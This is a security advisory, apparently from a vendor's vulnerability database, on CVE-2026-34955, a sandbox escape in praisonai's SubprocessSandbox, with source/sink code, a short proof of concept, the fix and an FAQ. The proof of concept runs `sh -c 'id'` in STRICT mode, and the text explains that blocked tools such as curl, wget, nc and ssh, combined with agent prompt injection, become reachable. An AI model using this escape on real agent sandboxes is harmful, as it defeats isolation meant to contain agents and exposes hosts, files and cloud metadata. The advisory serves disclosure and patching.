CVE-2026-34955

SubprocessSandbox in all modes (BASIC, STRICT, NETWORK_ISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.

Details

sandbox_executor.py:179 (source) -> sandbox_executor.py:326 (sink)

# source -- string-pattern blocklist, sh and bash not in blocked_commands
cmd_name = Path(parts[0]).name
if cmd_name in self.policy.blocked_commands:  # sh, bash not blocked
    raise SecurityError(...)
dangerous_patterns = [
    ("| sh",   ...),   # requires space -- "id|bash" evades this
    ("| bash", ...),   # requires space
]

# sink -- shell=True spawns /bin/sh regardless of sandbox mode
result = subprocess.run(
    command,
    shell=True,
    ...
)

PoC

# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.cli.features.sandbox_executor import SubprocessSandbox, SandboxPolicy, SandboxMode

policy = SandboxPolicy.for_mode(SandboxMode.STRICT)
sandbox = SubprocessSandbox(policy=policy)

result = sandbox.execute("sh -c 'id'")
print(result.stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blocked_command>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-34955 has a CVSS score of 8.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.97); upgrading removes the vulnerable code path.

Kodem intelligence

import shlex

result = subprocess.run(
    shlex.split(command),
    shell=False,
    cwd=cwd,
    env=env,
    capture_output=capture_output,
    text=True,
    timeout=timeout
)

1. What is CVE-2026-34955? CVE-2026-34955 is a high-severity OS command injection vulnerability in praisonai (pip), affecting versions <= 4.5.96. It is fixed in 4.5.97. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
2. How severe is CVE-2026-34955? CVE-2026-34955 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-34955? praisonai (pip) versions <= 4.5.96 is affected.
4. Is there a fix for CVE-2026-34955? Yes. CVE-2026-34955 is fixed in 4.5.97. Upgrade to this version or later.
5. Is CVE-2026-34955 exploitable, and should I be worried? Whether CVE-2026-34955 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34955 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34955? Upgrade praisonai to 4.5.97 or later.